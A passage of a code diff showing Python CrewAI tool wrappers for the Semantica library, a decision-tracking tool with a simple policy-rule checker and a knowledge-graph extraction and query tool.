reconstructed_state: bool = Field(default=False, exclude=True)
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
context: Any = None,
|
||||
max_precedents: int = 5,
|
||||
causal_depth: int = 3,
|
||||
**kwargs: Any,
|
||||
) -> None:
|
||||
if CREWAI_AVAILABLE:
|
||||
super().__init__(
|
||||
context=context,
|
||||
max_precedents=max_precedents,
|
||||
causal_depth=causal_depth,
|
||||
**kwargs,
|
||||
)
|
||||
else:
|
||||
super().__init__()
|
||||
self.context = context
|
||||
self.max_precedents = max_precedents
|
||||
self.causal_depth = causal_depth
|
||||
# Degraded mode is a plain class — no model_post_init lifecycle.
|
||||
self._ensure_defaults()
|
||||
|
||||
logger.info("SemanticaDecisionTool initialised (crewai=%s)", CREWAI_AVAILABLE)
|
||||
|
||||
def model_post_init(self, __context: Any) -> None:
|
||||
"""Re-create default state after validation/deserialisation.
|
||||
|
||||
``context`` is excluded from JSON serialisation (CrewAI checkpoints
|
||||
serialise every tool via ``model_dump(mode="json")``), so a tool
|
||||
restored from a checkpoint has ``None`` state until this runs.
|
||||
"""
|
||||
self._ensure_defaults()
|
||||
super().model_post_init(__context)
|
||||
|
||||
def _ensure_defaults(self) -> None:
|
||||
"""Lazy-import and build a real AgentContext when none is wired."""
|
||||
if self.context is None:
|
||||
from semantica.context import AgentContext, ContextGraph
|
||||
from semantica.vector_store import VectorStore
|
||||
|
||||
self.context = AgentContext(
|
||||
vector_store=VectorStore(backend="faiss"),
|
||||
decision_tracking=True,
|
||||
knowledge_graph=ContextGraph(),
|
||||
)
|
||||
if self.had_live_state:
|
||||
self.reconstructed_state = True
|
||||
logger.warning(
|
||||
"SemanticaDecisionTool: the live decision context was lost "
|
||||
"during serialization/checkpoint restore — an EMPTY "
|
||||
"context was reconstructed; re-attach the original context "
|
||||
"before continuing"
|
||||
)
|
||||
else:
|
||||
logger.warning(
|
||||
"SemanticaDecisionTool created a fresh in-memory "
|
||||
"AgentContext — agents sharing decision state must be "
|
||||
"wired to the same context"
|
||||
)
|
||||
self.had_live_state = True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# CrewAI entry points
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _run(
|
||||
self,
|
||||
action: str,
|
||||
category: Optional[str] = None,
|
||||
scenario: Optional[str] = None,
|
||||
reasoning: Optional[str] = None,
|
||||
outcome: Optional[str] = None,
|
||||
confidence: float = 0.8,
|
||||
entities: Optional[str] = None,
|
||||
decision_id: Optional[str] = None,
|
||||
depth: int = 3,
|
||||
decision_data: Optional[str] = None,
|
||||
policy_rules: Optional[str] = None,
|
||||
**kwargs: Any,
|
||||
) -> str:
|
||||
valid = {
|
||||
"record_decision",
|
||||
"find_precedents",
|
||||
"trace_causal_chain",
|
||||
"analyze_impact",
|
||||
"check_policy",
|
||||
}
|
||||
if action not in valid:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": f"Unknown action '{action}'. Valid actions: "
|
||||
+ ", ".join(sorted(valid))
|
||||
}
|
||||
)
|
||||
|
||||
if action == "record_decision":
|
||||
return self._record_decision(
|
||||
category=category or "general",
|
||||
scenario=scenario or "decision recorded",
|
||||
reasoning=reasoning or "agent decision",
|
||||
outcome=outcome or "recorded",
|
||||
confidence=confidence,
|
||||
entities=entities,
|
||||
)
|
||||
if action == "find_precedents":
|
||||
return self._find_precedents(scenario=scenario or "", category=category)
|
||||
if action == "trace_causal_chain":
|
||||
return self._trace_causal_chain(decision_id or "", depth=depth)
|
||||
if action == "analyze_impact":
|
||||
return self._analyze_impact(decision_id or "")
|
||||
return self._check_policy(decision_data or "", policy_rules)
|
||||
|
||||
async def _arun(self, action: str, **kwargs: Any) -> str:
|
||||
"""Async variant of ``_run`` for CrewAI's async tool path."""
|
||||
return self._run(action=action, **kwargs)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Actions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_decision(
|
||||
self,
|
||||
category: str,
|
||||
scenario: str,
|
||||
reasoning: str,
|
||||
outcome: str,
|
||||
confidence: float = 0.8,
|
||||
entities: Optional[str] = None,
|
||||
) -> str:
|
||||
entity_list: Optional[List[str]] = None
|
||||
if entities:
|
||||
entity_list = [e.strip() for e in entities.split(",") if e.strip()]
|
||||
|
||||
try:
|
||||
decision_id = self.context.record_decision(
|
||||
category=category,
|
||||
scenario=scenario,
|
||||
reasoning=reasoning,
|
||||
outcome=outcome,
|
||||
confidence=float(confidence),
|
||||
entities=entity_list,
|
||||
)
|
||||
result = {"decision_id": str(decision_id), "status": "recorded"}
|
||||
logger.info("record_decision → %s", decision_id)
|
||||
except Exception as exc:
|
||||
result = {"error": str(exc), "status": "failed"}
|
||||
logger.warning("record_decision failed: %s", exc)
|
||||
|
||||
return json.dumps(result)
|
||||
|
||||
def _find_precedents(
|
||||
self,
|
||||
scenario: str,
|
||||
category: Optional[str] = None,
|
||||
limit: Optional[int] = None,
|
||||
) -> str:
|
||||
k = limit if limit is not None else self.max_precedents
|
||||
try:
|
||||
precedents = self.context.find_precedents_advanced(
|
||||
scenario=scenario,
|
||||
category=category,
|
||||
limit=k,
|
||||
)
|
||||
out: List[Dict[str, Any]] = []
|
||||
for p in (precedents or [])[:k]:
|
||||
if isinstance(p, dict):
|
||||
out.append(p)
|
||||
else:
|
||||
out.append(
|
||||
{
|
||||
"scenario": getattr(p, "scenario", str(p)),
|
||||
"outcome": getattr(p, "outcome", ""),
|
||||
"confidence": getattr(p, "confidence", 0.0),
|
||||
"category": getattr(p, "category", ""),
|
||||
}
|
||||
)
|
||||
logger.info("find_precedents('%s') → %d results", scenario, len(out))
|
||||
return json.dumps({"precedents": out, "count": len(out)})
|
||||
except Exception as exc:
|
||||
logger.warning("find_precedents failed: %s", exc)
|
||||
return json.dumps({"precedents": [], "count": 0, "error": str(exc)})
|
||||
|
||||
def _trace_causal_chain(self, decision_id: str, depth: Optional[int] = None) -> str:
|
||||
if not decision_id:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": "decision_id is required for trace_causal_chain",
|
||||
"causal_chain": [],
|
||||
"decision_id": "",
|
||||
}
|
||||
)
|
||||
max_depth = depth or self.causal_depth
|
||||
try:
|
||||
graph = getattr(self.context, "knowledge_graph", None)
|
||||
if graph is None:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": (
|
||||
"causal tracing is not available on this knowledge "
|
||||
"graph (the decision context has no knowledge_graph)"
|
||||
),
|
||||
"causal_chain": [],
|
||||
"decision_id": decision_id,
|
||||
}
|
||||
)
|
||||
trace = getattr(graph, "trace_decision_causality", None)
|
||||
if trace is None:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": (
|
||||
"causal tracing is not available on this knowledge graph "
|
||||
"(graph.trace_decision_causality is not implemented)"
|
||||
),
|
||||
"causal_chain": [],
|
||||
"decision_id": decision_id,
|
||||
}
|
||||
)
|
||||
chain = trace(decision_id, max_depth=max_depth)
|
||||
return json.dumps({"causal_chain": chain, "decision_id": decision_id})
|
||||
except Exception as exc:
|
||||
logger.warning("trace_causal_chain failed: %s", exc)
|
||||
return json.dumps(
|
||||
{"error": str(exc), "causal_chain": [], "decision_id": decision_id}
|
||||
)
|
||||
|
||||
def _analyze_impact(self, decision_id: str) -> str:
|
||||
try:
|
||||
influence = self.context.analyze_decision_influence(decision_id)
|
||||
if not isinstance(influence, dict):
|
||||
influence = {"influence": str(influence)}
|
||||
influence["decision_id"] = decision_id
|
||||
return json.dumps(influence)
|
||||
except Exception as exc:
|
||||
logger.warning("analyze_impact failed: %s", exc)
|
||||
return json.dumps({"error": str(exc), "decision_id": decision_id})
|
||||
|
||||
def _check_policy(
|
||||
self,
|
||||
decision_data: str,
|
||||
policy_rules: Optional[str] = None,
|
||||
) -> str:
|
||||
try:
|
||||
data = (
|
||||
json.loads(decision_data)
|
||||
if isinstance(decision_data, str)
|
||||
else decision_data
|
||||
)
|
||||
except json.JSONDecodeError as exc:
|
||||
return json.dumps(
|
||||
{
|
||||
"compliant": False,
|
||||
"violations": [f"Invalid decision_data JSON: {exc}"],
|
||||
"warnings": [],
|
||||
}
|
||||
)
|
||||
|
||||
if not isinstance(data, dict):
|
||||
return json.dumps(
|
||||
{
|
||||
"compliant": False,
|
||||
"violations": [
|
||||
f"decision_data must decode to a JSON object, "
|
||||
f"got {type(data).__name__}: {data!r}"
|
||||
],
|
||||
"warnings": [],
|
||||
}
|
||||
)
|
||||
|
||||
violations: List[str] = []
|
||||
warnings: List[str] = []
|
||||
|
||||
rules: List[str] = []
|
||||
if policy_rules:
|
||||
try:
|
||||
parsed_rules = json.loads(policy_rules)
|
||||
except json.JSONDecodeError:
|
||||
rules = [r.strip() for r in policy_rules.split(",") if r.strip()]
|
||||
else:
|
||||
if isinstance(parsed_rules, str):
|
||||
rules = [parsed_rules]
|
||||
elif isinstance(parsed_rules, list):
|
||||
for item in parsed_rules:
|
||||
if isinstance(item, str):
|
||||
rules.append(item)
|
||||
else:
|
||||
warnings.append(
|
||||
f"Ignoring non-string policy rule entry: {item!r}"
|
||||
)
|
||||
else:
|
||||
warnings.append(
|
||||
f"policy_rules must decode to a JSON list of rule strings, "
|
||||
f"got {type(parsed_rules).__name__}: {parsed_rules!r}"
|
||||
)
|
||||
|
||||
for rule in rules:
|
||||
try:
|
||||
if not self._eval_rule(rule, data):
|
||||
violations.append(f"Rule violated: {rule}")
|
||||
except Exception as exc:
|
||||
warnings.append(f"Could not evaluate rule '{rule}': {exc}")
|
||||
|
||||
compliant = len(violations) == 0
|
||||
logger.debug(
|
||||
"check_policy: compliant=%s, violations=%d", compliant, len(violations)
|
||||
)
|
||||
return json.dumps(
|
||||
{
|
||||
"compliant": compliant,
|
||||
"violations": violations,
|
||||
"warnings": warnings,
|
||||
}
|
||||
)
|
||||
|
||||
def _eval_rule(self, rule: str, data: Dict[str, Any]) -> bool:
|
||||
"""Evaluate a simple comparison rule (``field op value``) against data.
|
||||
|
||||
This is a small standalone evaluator for the tool's ``check_policy``
|
||||
action — it is intentionally independent of Semantica's policy engine
|
||||
so agents get a bounded, side-effect-free rule check. Rules are
|
||||
``<field> <op> <value>`` comparisons only; there is no expression
|
||||
evaluation (no ``eval``), so untrusted rule strings are safe to pass.
|
||||
|
||||
Values are coerced type-aware: ``true``/``false`` (and ``1``/``0``)
|
||||
become booleans, numeric literals become numbers, and string values
|
||||
that parse as numbers are compared numerically, so ``score == 0.9``
|
||||
holds for ``score: "0.90"`` and ``enabled == false`` holds for
|
||||
``enabled: false``. Field names may contain hyphens, dots and spaces
|
||||
(e.g. ``risk-score >= 0.9``); they are matched against ``data`` keys
|
||||
as-is.
|
||||
"""
|
||||
m = re.match(r"(.+?)\s*(>=|<=|!=|==|>|<)\s*(.+)$", rule.strip())
|
||||
if not m:
|
||||
raise ValueError(f"unrecognised rule format: {rule!r}")
|
||||
field, op, val_str = m.group(1), m.group(2), m.group(3).strip().strip("\"'")
|
||||
if field not in data:
|
||||
raise ValueError(f"rule references undefined field {field!r}")
|
||||
actual = data[field]
|
||||
if actual is None:
|
||||
raise ValueError(f"field {field!r} is null — cannot evaluate rule")
|
||||
val = self._coerce_value(val_str)
|
||||
if isinstance(actual, str):
|
||||
actual = self._coerce_value(actual)
|
||||
ops = {
|
||||
">=": lambda a, b: a >= b,
|
||||
"<=": lambda a, b: a <= b,
|
||||
"!=": lambda a, b: a != b,
|
||||
"==": lambda a, b: a == b,
|
||||
">": lambda a, b: a > b,
|
||||
"<": lambda a, b: a < b,
|
||||
}
|
||||
return ops[op](actual, val)
|
||||
|
||||
@staticmethod
|
||||
def _coerce_value(value: str) -> Any:
|
||||
"""Parse a rule literal into its most specific Python type."""
|
||||
text = value.strip()
|
||||
lowered = text.lower()
|
||||
if lowered in ("true", "1"):
|
||||
return True
|
||||
if lowered in ("false", "0"):
|
||||
return False
|
||||
try:
|
||||
return int(text)
|
||||
except ValueError:
|
||||
pass
|
||||
try:
|
||||
return float(text)
|
||||
except ValueError:
|
||||
pass
|
||||
return text
|
||||
|
||||
# When crewai is absent there is no BaseTool to provide the public
|
||||
# ``run``/``arun`` entry points, so expose them directly. With crewai
|
||||
# installed these are left untouched so crewai's own implementations
|
||||
# (usage tracking, ``result_as_answer``) win.
|
||||
if not CREWAI_AVAILABLE:
|
||||
|
||||
def run(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool synchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
|
||||
async def arun(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool asynchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
@@ -1,573 +0,0 @@
|
||||
"""
|
||||
SemanticaKGTool — a CrewAI ``BaseTool`` exposing Semantica's knowledge-graph
|
||||
pipeline (``NERExtractor``, ``RelationExtractor``, ``ContextGraph``) to agents.
|
||||
|
||||
Lets agents build and query a shared ``ContextGraph`` as part of their
|
||||
reasoning loop.
|
||||
|
||||
Install
|
||||
-------
|
||||
pip install semantica[crewai]
|
||||
|
||||
Example
|
||||
-------
|
||||
>>> from integrations.crewai import SemanticaKGTool
|
||||
>>> from semantica.context import ContextGraph
|
||||
>>> from crewai import Agent, Crew, Task
|
||||
>>> graph = ContextGraph()
|
||||
>>> tool = SemanticaKGTool(graph=graph)
|
||||
>>> crew = Crew(
|
||||
... agents=[Agent(role="...", goal="...", backstory="...", tools=[tool])],
|
||||
... tasks=[...],
|
||||
... )
|
||||
|
||||
Tools exposed
|
||||
-------------
|
||||
extract_entities — Extract named entities from text
|
||||
extract_relations — Extract relationships between entities
|
||||
add_to_graph — Extract entities/relations from text and add them to the graph
|
||||
query_graph — Query the graph by keyword
|
||||
find_related — Find concepts related to a given entity within ``hops``
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import threading
|
||||
import weakref
|
||||
from typing import Any, Dict, List, Literal, Optional, Sequence, Type
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from semantica.utils.logging import get_logger
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE, CREWAI_IMPORT_ERROR # noqa: F401
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Optional: CrewAI BaseTool base class
|
||||
# ---------------------------------------------------------------------------
|
||||
_BaseTool: Any = object
|
||||
|
||||
if CREWAI_AVAILABLE:
|
||||
from crewai.tools import BaseTool as _BaseTool # type: ignore
|
||||
|
||||
# One re-entrant lock per graph so concurrent tool invocations sharing a graph
|
||||
# cannot double-count duplicate adds (check-then-act is not atomic), while
|
||||
# independent graphs are never serialised against each other. An RLock also
|
||||
# means an extractor callback that re-enters add_to_graph on the same graph
|
||||
# cannot deadlock.
|
||||
_graph_locks_guard = threading.Lock()
|
||||
_graph_locks: "weakref.WeakKeyDictionary[Any, threading.RLock]" = (
|
||||
weakref.WeakKeyDictionary()
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Input schema
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaKGToolInput(BaseModel):
|
||||
"""
|
||||
Input schema for ``SemanticaKGTool``.
|
||||
|
||||
Exactly one action is dispatched per call; the remaining fields are only
|
||||
used by the actions that need them.
|
||||
"""
|
||||
|
||||
action: Literal[
|
||||
"extract_entities",
|
||||
"extract_relations",
|
||||
"add_to_graph",
|
||||
"query_graph",
|
||||
"find_related",
|
||||
] = Field(
|
||||
...,
|
||||
description=(
|
||||
"Which graph operation to run. One of: 'extract_entities', "
|
||||
"'extract_relations', 'add_to_graph', 'query_graph', 'find_related'."
|
||||
),
|
||||
)
|
||||
text: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"Input text. Used by 'extract_entities', 'extract_relations' and "
|
||||
"'add_to_graph'."
|
||||
),
|
||||
)
|
||||
query: Optional[str] = Field(
|
||||
None, description="Search query. Used by 'query_graph'."
|
||||
)
|
||||
entity: Optional[str] = Field(
|
||||
None,
|
||||
description="Root entity name. Used by 'find_related'.",
|
||||
)
|
||||
hops: int = Field(
|
||||
1,
|
||||
ge=1,
|
||||
le=10,
|
||||
description="Maximum relationship hops. Used by 'find_related'.",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SemanticaKGTool
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaKGTool(_BaseTool): # type: ignore[misc]
|
||||
"""
|
||||
CrewAI tool that surfaces Semantica's KG pipeline as agent actions.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
graph:
|
||||
A ``semantica.context.ContextGraph`` to read/write. A fresh in-memory
|
||||
graph is used when ``None``.
|
||||
ner_extractor:
|
||||
A ``semantica.semantic_extract.NERExtractor`` instance; auto-created
|
||||
when ``None``.
|
||||
relation_extractor:
|
||||
A ``semantica.semantic_extract.RelationExtractor`` instance; auto-
|
||||
created when ``None``.
|
||||
"""
|
||||
|
||||
name: str = "semantica_knowledge_graph"
|
||||
description: str = (
|
||||
"Build and query a semantic knowledge graph. Actions: "
|
||||
"'extract_entities' (extract named entities from 'text'), "
|
||||
"'extract_relations' (extract relationships from 'text'), "
|
||||
"'add_to_graph' (extract entities/relations from 'text' and add them "
|
||||
"to the shared graph), 'query_graph' (keyword search using 'query'), "
|
||||
"'find_related' (find concepts related to 'entity' within 'hops' "
|
||||
"hops). Returns JSON."
|
||||
)
|
||||
args_schema: Type[BaseModel] = SemanticaKGToolInput
|
||||
graph: Any = Field(default=None, exclude=True)
|
||||
ner_extractor: Any = Field(default=None, exclude=True)
|
||||
relation_extractor: Any = Field(default=None, exclude=True)
|
||||
had_live_state: bool = False
|
||||
reconstructed_state: bool = Field(default=False, exclude=True)
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
graph: Any = None,
|
||||
ner_extractor: Any = None,
|
||||
relation_extractor: Any = None,
|
||||
**kwargs: Any,
|
||||
) -> None:
|
||||
if CREWAI_AVAILABLE:
|
||||
super().__init__(
|
||||
graph=graph,
|
||||
ner_extractor=ner_extractor,
|
||||
relation_extractor=relation_extractor,
|
||||
**kwargs,
|
||||
)
|
||||
else:
|
||||
super().__init__()
|
||||
self.graph = graph
|
||||
self.ner_extractor = ner_extractor
|
||||
self.relation_extractor = relation_extractor
|
||||
# Degraded mode is a plain class — no model_post_init lifecycle.
|
||||
self._ensure_defaults()
|
||||
|
||||
logger.info("SemanticaKGTool initialised (crewai=%s)", CREWAI_AVAILABLE)
|
||||
|
||||
def model_post_init(self, __context: Any) -> None:
|
||||
"""Re-create default state after validation/deserialisation.
|
||||
|
||||
``graph``/extractors are excluded from JSON serialisation (CrewAI
|
||||
checkpoints serialise every tool via ``model_dump(mode="json")``), so a
|
||||
tool restored from a checkpoint has ``None`` state until this runs.
|
||||
"""
|
||||
self._ensure_defaults()
|
||||
super().model_post_init(__context)
|
||||
|
||||
def _ensure_defaults(self) -> None:
|
||||
"""Lazy-import and build defaults for any missing shared state."""
|
||||
# Lazy imports keep the module importable without heavy deps
|
||||
if self.graph is None:
|
||||
from semantica.context import ContextGraph
|
||||
|
||||
self.graph = ContextGraph()
|
||||
if self.had_live_state:
|
||||
self.reconstructed_state = True
|
||||
logger.warning(
|
||||
"SemanticaKGTool: the live graph was lost during "
|
||||
"serialization/checkpoint restore — an EMPTY graph was "
|
||||
"reconstructed; re-attach the original graph before "
|
||||
"continuing"
|
||||
)
|
||||
else:
|
||||
logger.warning(
|
||||
"SemanticaKGTool created a fresh in-memory ContextGraph — "
|
||||
"agents sharing this tool's graph must be wired explicitly"
|
||||
)
|
||||
self.had_live_state = True
|
||||
if self.ner_extractor is None:
|
||||
from semantica.semantic_extract import NERExtractor
|
||||
|
||||
self.ner_extractor = NERExtractor()
|
||||
if self.relation_extractor is None:
|
||||
from semantica.semantic_extract import RelationExtractor
|
||||
|
||||
self.relation_extractor = RelationExtractor()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# CrewAI entry points
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _run(
|
||||
self,
|
||||
action: str,
|
||||
text: Optional[str] = None,
|
||||
query: Optional[str] = None,
|
||||
entity: Optional[str] = None,
|
||||
hops: int = 1,
|
||||
**kwargs: Any,
|
||||
) -> str:
|
||||
"""
|
||||
Dispatch a graph action. Always returns a JSON string so the agent
|
||||
receives a structured, parseable result.
|
||||
"""
|
||||
valid = {
|
||||
"extract_entities",
|
||||
"extract_relations",
|
||||
"add_to_graph",
|
||||
"query_graph",
|
||||
"find_related",
|
||||
}
|
||||
if action not in valid:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": f"Unknown action '{action}'. Valid actions: "
|
||||
+ ", ".join(sorted(valid))
|
||||
}
|
||||
)
|
||||
|
||||
if action == "extract_entities":
|
||||
return self._extract_entities(text or "")
|
||||
if action == "extract_relations":
|
||||
return self._extract_relations(text or "")
|
||||
if action == "add_to_graph":
|
||||
return self._add_from_text(text or "")
|
||||
if action == "query_graph":
|
||||
return self._query_graph(query or "")
|
||||
return self._find_related(entity or "", hops=hops)
|
||||
|
||||
async def _arun(
|
||||
self,
|
||||
action: str,
|
||||
text: Optional[str] = None,
|
||||
query: Optional[str] = None,
|
||||
entity: Optional[str] = None,
|
||||
hops: int = 1,
|
||||
**kwargs: Any,
|
||||
) -> str:
|
||||
"""
|
||||
Async variant of ``_run`` for CrewAI's async tool path.
|
||||
"""
|
||||
return self._run(
|
||||
action=action, text=text, query=query, entity=entity, hops=hops, **kwargs
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Entity/relation field access (handles both Semantica dataclasses and
|
||||
# third-party shapes like MagicMock/plain dicts in stubs)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _first_str(obj: Any, attrs: Sequence[str]) -> str:
|
||||
"""Return the first attribute value that is a non-empty string."""
|
||||
for attr in attrs:
|
||||
value = getattr(obj, attr, None)
|
||||
if isinstance(value, str) and value:
|
||||
return value
|
||||
if isinstance(obj, dict):
|
||||
for key in attrs:
|
||||
value = obj.get(key)
|
||||
if isinstance(value, str) and value:
|
||||
return value
|
||||
return ""
|
||||
|
||||
@classmethod
|
||||
def _entity_name(cls, e: Any) -> str:
|
||||
"""Best-effort name for an entity-like object."""
|
||||
return cls._first_str(e, ("name", "text", "label", "node_id", "id"))
|
||||
|
||||
@classmethod
|
||||
def _entity_type(cls, e: Any) -> str:
|
||||
"""Best-effort type/label for an entity-like object."""
|
||||
return cls._first_str(e, ("type", "label")) or "Entity"
|
||||
|
||||
@classmethod
|
||||
def _relation_source(cls, r: Any) -> str:
|
||||
"""Best-effort source of a relation-like object."""
|
||||
src = cls._first_str(r, ("source",))
|
||||
if not src:
|
||||
src = cls._entity_name(getattr(r, "subject", None))
|
||||
return src
|
||||
|
||||
@classmethod
|
||||
def _relation_target(cls, r: Any) -> str:
|
||||
"""Best-effort target of a relation-like object."""
|
||||
tgt = cls._first_str(r, ("target",))
|
||||
if not tgt:
|
||||
tgt = cls._entity_name(getattr(r, "object", None))
|
||||
return tgt
|
||||
|
||||
@classmethod
|
||||
def _relation_type(cls, r: Any) -> str:
|
||||
"""Best-effort relation type of a relation-like object."""
|
||||
rtype = cls._first_str(r, ("type", "relation", "predicate"))
|
||||
return rtype or "related_to"
|
||||
|
||||
@classmethod
|
||||
def _confidence(cls, e: Any) -> float:
|
||||
"""Normalise an entity/relation confidence value to a float."""
|
||||
try:
|
||||
val = getattr(e, "confidence", None)
|
||||
if val is None:
|
||||
return 1.0
|
||||
return round(float(val), 4)
|
||||
except (TypeError, ValueError):
|
||||
return 1.0
|
||||
|
||||
@classmethod
|
||||
def _graph_lock(cls, graph: Any) -> threading.RLock:
|
||||
"""Return the re-entrant lock guarding a specific graph."""
|
||||
with _graph_locks_guard:
|
||||
lock = _graph_locks.get(graph)
|
||||
if lock is None:
|
||||
lock = threading.RLock()
|
||||
_graph_locks[graph] = lock
|
||||
return lock
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Actions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _extract_entities(self, text: str) -> str:
|
||||
"""Extract named entities from ``text``."""
|
||||
try:
|
||||
raw = self.ner_extractor.extract_entities(text) or []
|
||||
entities = [
|
||||
{
|
||||
"name": self._entity_name(e),
|
||||
"type": self._entity_type(e),
|
||||
"confidence": self._confidence(e),
|
||||
}
|
||||
for e in raw
|
||||
if self._entity_name(e)
|
||||
]
|
||||
logger.debug("extract_entities → %d entities", len(entities))
|
||||
return json.dumps({"entities": entities, "count": len(entities)})
|
||||
except Exception as exc:
|
||||
logger.warning("extract_entities failed: %s", exc)
|
||||
return json.dumps({"entities": [], "count": 0, "error": str(exc)})
|
||||
|
||||
def _extract_relations(self, text: str) -> str:
|
||||
"""Extract relationships between entities in ``text``."""
|
||||
try:
|
||||
raw = self.relation_extractor.extract_relations(text) or []
|
||||
relations = [
|
||||
{
|
||||
"source": self._relation_source(r),
|
||||
"relation": self._relation_type(r),
|
||||
"target": self._relation_target(r),
|
||||
"confidence": self._confidence(r),
|
||||
}
|
||||
for r in raw
|
||||
]
|
||||
logger.debug("extract_relations → %d relations", len(relations))
|
||||
return json.dumps({"relations": relations, "count": len(relations)})
|
||||
except Exception as exc:
|
||||
logger.warning("extract_relations failed: %s", exc)
|
||||
return json.dumps({"relations": [], "count": 0, "error": str(exc)})
|
||||
|
||||
def _add_from_text(self, text: str) -> str:
|
||||
"""
|
||||
Extract entities and relations from ``text`` and add them to the graph.
|
||||
|
||||
Duplicate nodes/edges (same id, or same source/type/target) are
|
||||
skipped so repeated calls are idempotent. Returns JSON with the
|
||||
number of nodes/edges added.
|
||||
"""
|
||||
nodes_added = 0
|
||||
edges_added = 0
|
||||
try:
|
||||
with self._graph_lock(self.graph):
|
||||
existing_nodes = {
|
||||
n.get("id") or n.get("node_id")
|
||||
for n in (
|
||||
self.graph.find_nodes() or [] # type: ignore[attr-defined]
|
||||
)
|
||||
if n.get("id") or n.get("node_id")
|
||||
}
|
||||
existing_edges = {
|
||||
(e.get("source"), e.get("type") or "related_to", e.get("target"))
|
||||
for e in (
|
||||
self.graph.find_edges() or [] # type: ignore[attr-defined]
|
||||
)
|
||||
if e.get("source") and e.get("target")
|
||||
}
|
||||
|
||||
raw_entities = self.ner_extractor.extract_entities(text) or []
|
||||
entities: List[Any] = []
|
||||
seen: set = set()
|
||||
for e in raw_entities:
|
||||
name = self._entity_name(e)
|
||||
ntype = self._entity_type(e)
|
||||
if not name or name in seen:
|
||||
continue
|
||||
seen.add(name)
|
||||
entities.append(e)
|
||||
if name in existing_nodes:
|
||||
continue
|
||||
try:
|
||||
if self.graph.add_node(node_id=name, node_type=ntype):
|
||||
nodes_added += 1
|
||||
existing_nodes.add(name)
|
||||
except Exception as exc:
|
||||
logger.debug("add_node(%r) failed: %s", name, exc)
|
||||
|
||||
raw_relations = (
|
||||
self.relation_extractor.extract_relations(text, entities=entities)
|
||||
or []
|
||||
)
|
||||
for r in raw_relations:
|
||||
src = self._relation_source(r)
|
||||
tgt = self._relation_target(r)
|
||||
rtype = self._relation_type(r)
|
||||
if not src or not tgt:
|
||||
continue
|
||||
key = (src, rtype, tgt)
|
||||
if key in existing_edges:
|
||||
continue
|
||||
try:
|
||||
if self.graph.add_edge(
|
||||
source_id=src, target_id=tgt, edge_type=rtype
|
||||
):
|
||||
edges_added += 1
|
||||
existing_edges.add(key)
|
||||
except Exception as exc:
|
||||
logger.debug("add_edge(%r) failed: %s", key, exc)
|
||||
logger.debug("add_to_graph: +%d nodes, +%d edges", nodes_added, edges_added)
|
||||
return json.dumps({"nodes_added": nodes_added, "edges_added": edges_added})
|
||||
except Exception as exc:
|
||||
logger.warning("add_to_graph failed: %s", exc)
|
||||
return json.dumps({"nodes_added": 0, "edges_added": 0, "error": str(exc)})
|
||||
|
||||
def _query_graph(self, query: str) -> str:
|
||||
"""Keyword-search graph nodes by id, type and content."""
|
||||
try:
|
||||
q = (query or "").strip().lower()
|
||||
out: List[dict] = []
|
||||
seen: set = set()
|
||||
|
||||
query_method = getattr(self.graph, "query", None)
|
||||
if query_method is not None:
|
||||
for match in query_method(query) or []:
|
||||
node = match.get("node") or {}
|
||||
nid = node.get("id", "") or node.get("node_id", "")
|
||||
if not nid or nid in seen:
|
||||
continue
|
||||
seen.add(nid)
|
||||
content = match.get("content") or node.get("content", "")
|
||||
out.append(
|
||||
{
|
||||
"id": nid,
|
||||
"type": node.get("type", "") or node.get("node_type", ""),
|
||||
"label": nid,
|
||||
"content": str(content)[:500],
|
||||
"score": round(float(match.get("score") or 0.0), 4),
|
||||
}
|
||||
)
|
||||
|
||||
if q:
|
||||
for n in self.graph.find_nodes() or []: # type: ignore[attr-defined]
|
||||
if isinstance(n, dict):
|
||||
nid = n.get("id", "") or n.get("node_id", "")
|
||||
ntype = n.get("type", "") or n.get("node_type", "")
|
||||
content = str(
|
||||
n.get("content")
|
||||
or (n.get("properties") or {}).get("content", "")
|
||||
or ""
|
||||
)
|
||||
else:
|
||||
nid = getattr(n, "id", getattr(n, "label", ""))
|
||||
ntype = getattr(n, "node_type", "")
|
||||
content = str(getattr(n, "content", "") or "")
|
||||
if not nid or nid in seen:
|
||||
continue
|
||||
if q in str(nid).lower() or q in str(ntype).lower():
|
||||
seen.add(nid)
|
||||
out.append(
|
||||
{
|
||||
"id": nid,
|
||||
"type": ntype,
|
||||
"label": nid,
|
||||
"content": content[:500],
|
||||
"score": 1.0,
|
||||
}
|
||||
)
|
||||
return json.dumps({"results": out, "count": len(out)})
|
||||
except Exception as exc:
|
||||
logger.warning("query_graph failed: %s", exc)
|
||||
return json.dumps({"results": [], "count": 0, "error": str(exc)})
|
||||
|
||||
